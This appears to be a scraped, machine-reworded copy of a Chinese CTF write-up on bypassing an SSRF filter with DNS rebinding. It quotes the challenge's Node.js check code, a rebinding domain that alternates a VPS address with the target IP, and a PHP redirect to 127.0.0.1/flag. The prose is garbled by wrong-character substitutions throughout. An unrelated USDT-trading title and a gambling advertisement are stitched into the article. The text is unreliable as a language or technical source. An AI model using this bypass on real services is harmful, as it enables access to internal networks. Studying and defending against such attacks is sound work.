欢迎访问本站!

首页科技正文

usdt不用实名交易(caibao.it):DNS Rebinding Bypass SSRF

admin2020-12-31141安全技术WEB安全

什么是DNS Rebinding?

*** 上是这样形貌的:

DNS重新绑定是盘算机攻击的一种形式。 在这种攻击中,恶意网页会导致接见者运行客户端剧本,攻击网络上其他地方的盘算机。 从理论上讲,同源计谋可防止发生这种情形:客户端剧本只能接见为剧本提供服务的统一主机上的内容。 对照域名是实行此计谋的重要部门,因此DNS重新绑定通过滥用域名系统(DNS)来绕过这种珍爱。
这种攻击可以通过让受害者的网络浏览器接见专用IP地址的机械并将效果返回给攻击者来损坏专用网络。 它也可以用于使用受害者机械发送垃圾邮件,分布式拒绝服务攻击或其他恶意流动。

由于我们是用它来绕过SSRF破绽,以是简朴明白就是:当某一个SSRF检测是通过DNS剖析后的ip地址来判断是否为平安地址的话,我们可以通过DNS rebinding来举行绕过。

传统SSRF过滤流程

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host举行DNS剖析,获取到剖析的IP
  3. 检测该IP是否是正当的,好比是否是私有IP等
  4. 若是IP检测为正当的,则进入curl的阶段发包

从DNS剖析的角度来看,这个历程一共有两次剖析,第一次是对该host举行DNS剖析,第二次是进入curl的阶段发包,这两次请求之间存在一个时间差,若是我们能够修改DNS地址在第一次请求的时刻为正当地址,第二次请求时为恶意地址,就可以绕过这个检测了。

DNS Rebinding若何行使?

攻击者注册一个域名(如attacker.com),并在攻击者控制下将其署理给DNS服务器。 服务器设置为很短响应时间的TTL纪录,防止响应被缓存。 当受害者浏览到恶意域时,攻击者的DNS服务器首先用托管恶意客户端代码的服务器的IP地址作出响应。 例如,他们可以将受害者的浏览器指向包罗旨在在受害者盘算机上执行的恶意JavaScript或Flash剧本的网站。
恶意客户端代码会对原始域名(例如attacker.com)举行分外接见。 这些都是由同源政策所允许的。 然则,当受害者的浏览器运行该剧本时,它会为该域建立一个新的DNS请求,而且攻击者会使用新的IP地址举行回复。 例如,他们可以使用内部IP地址或互联网上某个目的的IP地址举行回复。

TTL是一条域名剖析纪录在DNS服务器中的存留时间。把这个值设置的异常小可以防止DNS剖析效果被缓存,进而使得每次获取DNS剖析效果是差别的。

简朴理一下这个历程:

  1. 攻击者设置了一台DNS服务器用于剖析某域名
  2. 每次请求后返回的剖析效果不一样,分别是一个正当地址,一个是恶意地址
  3. 当服务器在第一次请求的时刻返回正当地址,第二次请求时返回的是恶意地址。就可以绕过限制举行行使

当然有师傅会以为对照贫苦,还需要搭DNS服务器啥的,这里提供两个方式可以降低行使复杂度。不需要自己去搭建一个DNS服务器来举行行使,可以使用一些平台来组织。

  1. http://ceye.io/
  2. https://lock.cmpxchg8b.com/rebinder.html

DNS Rebinding 问题场景

这次huaweictf中有一道题就是行使DNS Rebinding来绕过SSRF检测拿到flag。问题环境中存在一个疑似可行使的SSRF破绽,种种条件限制的异常严酷。问题部门代码如下:

app.get('/flag', function(req, res){
    if (req.ip === '127.0.0.1') {
        res.status(200).send(env.parsed.flag)
    } else res.status(403).end('not so simple');
}); // 这里可以获取flag

app.post('/admin', (req, res) => {
    if ( !req.body.fileurl || !check(req.body.fileurl) ) {
        res.end("Invalid file link")
        return
    }
    let file = req.body.fileurl;

    //dont DOS attack, i will sleep before request
    cp.execSync('sleep 5')

    let options = {url : file, timeout : 3000}
    request.get(options ,(error, httpResponse, body) => {
        if (!error) {
            res.set({"Content-Type" : "text/html; charset=utf-8"})
            res.end(body)
        } else {
            res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
        }
    });
})

这里会吸收一个fileurl的参数,使用check函数对其举行检查,若是通过,则使用request.get提议请求并返回效果。获取flag的页面临泉源ip举行了限制,只允许127.0.0.1举行获取。那这里的行使思绪就对照直接,绕过这个check函数,拿到flag

,

欧博电脑版

欢迎进入欧博电脑版(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

来看下这个check函数。

const cp = require('child_process')
const ip = require('ip')
const url = require('url');
const {docker} = require("./docker.js")

const checkip = function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false

    dns = dnslookup(host); // 这里要获取主机的dns信息

    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false

    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

exports.check = check

针对fileurl的检查流程是由三个函数所组成的,主要检查的内容如下:

  1. 检查是否是字符串类型,是否以http://开头
  2. 使用url.parse获取hostnameport,其中一个都不能为null
  3. 挪用curl ip-api.com/json/${s}获取域名的DNS最终的剖析地址,dns地址必须为docker.ip。(这个地址是问题中已经界说好了的一个ip地址)
  4. port不能是80或者8080端口
  5. 整个url中不能有包罗['wrong', '127.', 'local', '@', 'flag']

通过这个检查流程,可以阻挡绝大多数绕过SSRF的方式。然则这里存在一个问题,判断dns地址是否docker.ip和真正请求地址是离开的,分别是两个差别的请求。以是这里可以行使DNS rebinding方式举行绕过,让上面的第3步获取到的dns地址是docker.ip,而后面真正请求的时刻,则获取到的是我们组织的恶意服务器地址。

这里我用了第二个平台来举行行使,A一个绑定了我的vps地址,B绑定了docker.ip:

usdt不用实名交易(caibao.it):DNS Rebinding Bypass SSRF 安全技术 WEB安全 第1张

下面生成了一个地址,可以用https://tool.chinaz.com/dns/查询一下,在效果中可以看到差别的区域查询出来的最终剖析地址是不一样的,一个是我的vps地址,另一个是问题的docker.ip。而且这里的TTL都为1。

usdt不用实名交易(caibao.it):DNS Rebinding Bypass SSRF 安全技术 WEB安全 第2张

vps上起一个web服务,端口不为808080,写一个index.php页面用于跳转:(我这里用的端口为9024)

<?php
    header("Location:http://127.0.0.1/flag");
?>

由于flag这个字符是在跳转里的,并没有在url中,自然也就不会被阻挡了。这样,我们只需要给admin页面传入fileurl=http://xxxxxx.7925af9a.rbndr.us:9024/就可以绕过检测来举行SSRF破绽的行使了。

服务器那里剖析不一定就会根据预想的来,需要一直的发包来碰撞。最终拿到flag如下:

usdt不用实名交易(caibao.it):DNS Rebinding Bypass SSRF 安全技术 WEB安全 第3张

修复

  1. 若是应用服务所吸收的url是一个牢固的域名或者域名局限可控,就应该建立白名单来校验域名。
  2. 若是吸收的url的域名是不可控的,则可以思量用一个沙箱环境来举行数据请求,实现内网星散。
  3. ...

参考

  • https://blog.csdn.net/u011721501/article/details/54667714

网友评论